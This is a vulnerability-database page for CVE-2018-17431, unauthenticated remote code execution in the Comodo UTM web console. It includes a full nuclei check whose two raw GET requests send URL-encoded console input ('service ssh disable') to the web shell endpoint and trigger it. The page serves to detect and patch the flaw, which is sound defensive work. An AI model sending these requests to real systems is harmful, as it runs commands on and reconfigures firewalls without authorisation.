HexBrain

Browse / CVEs / CVE-2018-17431

CVE-2018-17431· comodo / unified threat management firewall· CWE-287

Comodo Unified Threat Management Web Console - Remote Code Execution

criticalseverity
9.8CVSS score
83.9%likelihood of exploitation, next 30 days
100%of all CVEs are less likely
Readycheck to confirm it

Comodo Firewall & Central Manager (UTM) All Release before 2.7.0 & 1.5.0 are susceptible to a web shell based remote code execution vulnerability.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the target system.

Fix

Apply the latest security patches or updates provided by Comodo to fix this vulnerability.

How to confirm it

Send: GET /manage/webshell/u?s=5&w=218&h=15&k=%73%65%72%76%69%63%65%0a%73%73%68%0a%64%69%73%61%62%6c%65%0a&l=62&_=5621298674064 ; GET /manage/webshell/u?s=5&w=218&h=15&k=%0a&l=62&_=5621298674064
Positive when: contains "Configuration has been altered" AND status 200

Run it with nuclei: nuclei -id CVE-2018-17431 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2018-17431

info:
  name: Comodo Unified Threat Management Web Console - Remote Code Execution
  author: dwisiswant0
  severity: critical
  description: Comodo Firewall & Central Manager (UTM) All Release before 2.7.0 & 1.5.0 are susceptible to a web shell based remote code execution vulnerability.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the target system.
  remediation: |
    Apply the latest security patches or updates provided by Comodo to fix this vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/48825
    - https://secure.comodo.com/home/purchase.php?pid=106&license=try&track=9276&af=9276
    - https://nvd.nist.gov/vuln/detail/CVE-2018-17431
    - https://github.com/Fadavvi/CVE-2018-17431-PoC#confirmation-than-bug-exist-2018-09-25-ticket-id-xwr-503-79437
    - https://drive.google.com/file/d/0BzFJhNQNHcoTbndsUmNjVWNGYWNJaWxYcWNyS2ZDajluTDFz/view
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2018-17431
    cwe-id: CWE-287
    epss-score: 0.83912
    epss-percentile: 0.99694
    cpe: cpe:2.3:a:comodo:unified_threat_management_firewall:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: comodo
    product: unified_threat_management_firewall
  tags: cve,cve2018,comodo,rce,edb,vkev,vuln

http:
  - raw:
      - |
        GET /manage/webshell/u?s=5&w=218&h=15&k=%73%65%72%76%69%63%65%0a%73%73%68%0a%64%69%73%61%62%6c%65%0a&l=62&_=5621298674064 HTTP/1.1
        Host: {{Hostname}}
        Connection: close
      - | # to triggering RCE
        GET /manage/webshell/u?s=5&w=218&h=15&k=%0a&l=62&_=5621298674064 HTTP/1.1
        Host: {{Hostname}}
        Connection: close

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "Configuration has been altered"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from